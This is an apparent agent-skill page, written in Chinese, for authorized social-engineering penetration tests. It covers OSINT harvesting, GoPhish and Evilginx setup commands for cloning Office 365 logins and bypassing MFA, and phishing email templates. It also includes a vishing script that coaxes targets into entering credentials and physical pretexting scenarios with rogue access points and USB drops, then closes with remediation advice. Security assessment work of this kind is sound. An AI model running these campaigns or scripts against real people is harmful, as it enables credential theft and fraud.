# Conducting Social Engineering Penetration Test

> 设计并执行社会工程学渗透测试，包括钓鱼、语音钓鱼、短信钓鱼和物理借口活动，以衡量人员安全韧性并识别培训差距。

- Skill: `killvxk/conducting-social-engineering-penetration-test` (Agent Skill, multi-file: 8 files)
- Install (CLI): `npx skillmds@latest add killvxk/conducting-social-engineering-penetration-test`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/conducting-social-engineering-penetration-test/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/conducting-social-engineering-penetration-test

---


# 执行社会工程学渗透测试

## 概述

社会工程学渗透测试通过对现实欺骗技术的受控模拟，评估组织的人员攻击面。根据 Verizon DBIR 2024，人为因素涉及约 68% 的所有数据泄露，钓鱼仍是主要的初始访问向量。本技能涵盖使用 GoPhish、社会工程学工具包（SET）和 Evilginx 执行的钓鱼、语音钓鱼（Vishing）、短信钓鱼（Smishing）和物理借口活动。

## 前置条件

- 高级管理层（CISO/CTO）的书面授权
- 确认符合当地法律（CFAA、GDPR 等）的法律审查
- 明确的范围：目标员工群体、攻击类型、排除项
- GoPhish 服务器、钓鱼基础设施域名、VPS
- OSINT 工具：Maltego、theHarvester、LinkedIn 抓取工具
- 与 HR 和法律部门协调测试后的员工通知事宜

## 阶段一：OSINT 和目标画像

### 员工侦察

```bash
# 邮件收割
theHarvester -d targetcorp.com -b all -l 500 -f harvester_results

# LinkedIn OSINT（手动 + 工具）
# 收集：姓名、职位、部门、邮件格式
# 识别：新入职员工、IT 管理员、财务团队、高管

# 邮件格式发现
# 检查：first.last@、flast@、firstl@
# 通过 hunter.io、phonebook.cz、email-checker.net 验证

# 社交媒体 OSINT
# Twitter/X：员工发布关于工作工具/困扰的内容
# Facebook：公司活动照片、办公室布局
# GitHub：使用企业邮件地址的员工仓库

# 域名情报
dig targetcorp.com MX +short
dig targetcorp.com TXT +short
# 检查 SPF、DKIM、DMARC 记录
# 弱 DMARC = 更容易进行邮件欺骗

# 检查泄露数据库（已授权）
# 针对企业邮件的 HaveIBeenPwned API
# 识别凭据已泄露的员工
```

### 目标选择矩阵

| 群体 | 数量 | 借口 | 攻击向量 |
|-------|-------|---------|--------------|
| 财务 | 15 | 发票审批 | 钓鱼（凭据收割） |
| IT 帮助台 | 8 | 密码重置 | 语音钓鱼 |
| 高管 | 5 | 董事会会议更新 | 鱼叉式钓鱼 |
| 新入职（< 90 天） | 12 | HR 入职表单 | 钓鱼（载荷） |
| 全体员工 | 200 | IT 安全更新 | 广泛钓鱼 |

## 阶段二：钓鱼活动

### 基础设施设置

```bash
# 注册仿冒域名
# targetcorp.com -> targetc0rp.com、targetcorp-secure.com、targetcorp.net

# 设置 GoPhish 服务器
sudo apt install gophish
# 编辑 config.json 配置管理端口和钓鱼服务器端口
gophish

# 在 GoPhish 中配置发送配置文件
# SMTP 服务器：mail.attackdomain.com
# 发件人：it-security@targetcorp-secure.com
# 邮件头：攻击域名的适当 DKIM/SPF

# 创建着陆页（凭据收割）
# 克隆合法登录页面（Office 365、Okta 等）
# GoPhish：导入网站 -> https://login.microsoftonline.com
# 启用：捕获凭据、捕获密码
# 捕获后重定向到真实网站

# 设置 Evilginx 进行 MFA 绕过（仅授权测试）
evilginx2
: config domain attackdomain.com
: config ipv4 <server_ip>
: phishlets hostname o365 login.targetcorp-secure.com
: phishlets enable o365
: lures create o365
: lures get-url 0
```

### GoPhish 活动配置

```json
{
  "campaign": {
    "name": "IT Security Update - Q1 2025",
    "template": {
      "name": "Mandatory Security Training",
      "subject": "Action Required: Complete Security Awareness Training by Friday",
      "html": "<html>...[带紧迫感的品牌邮件]...</html>",
      "from": "IT Security Team <security@targetcorp-secure.com>"
    },
    "landing_page": "Office 365 登录克隆",
    "sending_profile": "Phishing SMTP",
    "groups": ["All Employees - Batch 1"],
    "launch_date": "2025-03-10T09:00:00Z",
    "send_by_date": "2025-03-10T12:00:00Z"
  }
}
```

### 按借口分类的钓鱼邮件模板

**模板 1 — IT 安全更新：**
```
主题：[需要操作] 强制密码重置 - 安全事件
发件人：IT 安全 <security@targetcorp-secure.com>

亲爱的 {FirstName}，

我们的安全团队检测到系统上有未经授权的访问尝试。
作为预防措施，所有员工必须立即重置密码。

请点击下方链接在 24 小时内重置您的密码：

[立即重置密码] -> {phishing_url}

未能遵守可能导致账户临时暂停。

谢谢，
IT 安全团队
```

**模板 2 — 财务发票：**
```
主题：发票 #INV-2025-4821 - 需要审批
发件人：应付账款 <ap@targetcorp-secure.com>

您好 {FirstName}，

请审阅并批准来自我们供应商的附件发票。
金额：$47,250.00 | 到期日：2025 年 3 月 15 日

[查看发票] -> {phishing_url}

此致，
应付账款部门
```

## 阶段三：语音钓鱼活动

### 通话脚本模板

```
借口：IT 帮助台致电报告可疑登录

致电者："您好，我是 IT 帮助台的 [姓名]。请问是 [目标姓名] 吗？"

[等待确认]

致电者："我们检测到您的账户有来自未识别位置的异常登录活动。
为了保护您的账户安全，在我们调查之前，我需要先验证您的身份。"

致电者："您能确认您的员工 ID 和与账户关联的邮件地址吗？"

[记录回应]

致电者："谢谢。我将向您发送一个验证链接来确认是您本人。
您能点击它并输入凭据，这样我们就能保护您的账户了吗？"

[通话期间通过邮件/短信发送钓鱼链接]

致电者："太好了，我看到您已经验证了。您的账户现在已安全。
如果您注意到任何其他问题，请拨打帮助台 [真实号码]。"
```

### 语音钓鱼追踪指标

| 指标 | 说明 |
|--------|-------------|
| 接听电话 | 目标接听了电话 |
| 已参与 | 目标在初始问题后继续对话 |
| 信息披露 | 目标提供了凭据、员工 ID 或 PII |
| 链接点击 | 目标点击了验证链接 |
| 输入凭据 | 目标在钓鱼页面输入了凭据 |
| 已举报 | 目标向安全部门举报了电话 |

## 阶段四：物理社会工程学

### 物理借口场景

```
场景 1：快递员
- 携带标注给高管的包裹到达
- 请求亲自递送访问权限
- 尝试通过安全门尾随
- 在公共区域丢落 USB 驱动器

场景 2：IT 供应商
- 携带供应商徽章（打印）到达
- 声称对网络机柜进行计划维护
- 尝试访问服务器机房
- 如获得访问权限则安装流氓无线接入点

场景 3：新员工
- 声称是第一天入职培训而到达
- 申请临时徽章
- 尝试访问受限区域
- 拍摄敏感屏幕/文档

证据收集：
- 随身摄像机（如法律允许且已授权）
- 已访问区域的照片
- 来自流氓接入点的 WiFi 探测数据
- 关于绕过哪些门/检查点的笔记
```

## 阶段五：指标和分析

### 活动结果仪表板

```
钓鱼活动结果：
├── 发送邮件数：200
├── 邮件送达数：195（97.5%）
├── 邮件打开数：142（72.8%）
├── 链接点击数：68（34.9%）
├── 提交凭据数：31（15.9%）
├── MFA 绕过数：8（4.1%）[Evilginx]
├── 向 SOC 举报数：12（6.2%）
└── 无操作数：53（27.2%）

语音钓鱼活动结果：
├── 拨打电话数：23
├── 接听电话数：18（78.3%）
├── 参与对话数：15（65.2%）
├── 信息披露数：9（39.1%）
├── 提供凭据数：4（17.4%）
└── 向安全部门举报数：2（8.7%）

物理评估：
├── 尾随成功次数：3/5 次尝试
├── USB 驱动器被插入数：2/10 个丢落
├── 访问受限区域数：2/4 次尝试
└── 被员工质疑次数：1 次
```

### 风险评分

| 攻击向量 | 成功率 | 风险级别 | 优先级 |
|--------------|-------------|------------|----------|
| 钓鱼（凭据收割） | 15.9% | 高 | P1 |
| 语音钓鱼（信息披露） | 39.1% | 严重 | P1 |
| 物理尾随 | 60% | 高 | P2 |
| USB 丢落 | 20% | 中 | P3 |
| 鱼叉式钓鱼（高管） | 40% | 严重 | P1 |

## 阶段六：报告和建议

### 修复优先级

| 优先级 | 建议 | 时间线 |
|----------|---------------|----------|
| P1 | 部署防钓鱼 MFA（FIDO2/WebAuthn） | 30 天 |
| P1 | 实施针对性安全意识培训 | 14 天 |
| P1 | 部署带 URL 重写的邮件网关 | 30 天 |
| P2 | 加强物理访问控制（安全气闸、访客徽章） | 60 天 |
| P2 | 为每个部门实施安全冠军计划 | 30 天 |
| P3 | 部署 USB 设备控制策略 | 30 天 |
| P3 | 在邮件客户端建立钓鱼举报按钮 | 14 天 |

## 工具参考

| 工具 | 用途 |
|------|---------|
| GoPhish | 钓鱼活动管理平台 |
| Evilginx2 | 通过反向代理钓鱼绕过 MFA |
| Social Engineer Toolkit（SET） | 社会工程学攻击框架 |
| Maltego | OSINT 和关系映射 |
| theHarvester | 邮件和域名 OSINT |
| King Phisher | 钓鱼活动工具 |
| Modlishka | 用于凭据拦截的反向代理 |

## 参考资料

- GoPhish: https://getgophish.com/
- Evilginx2: https://github.com/kgretzky/evilginx2
- Social Engineer Toolkit: https://github.com/trustedsec/social-engineer-toolkit
- Verizon DBIR: https://www.verizon.com/business/resources/reports/dbir/
- NIST SP 800-61：计算机安全事件处理指南

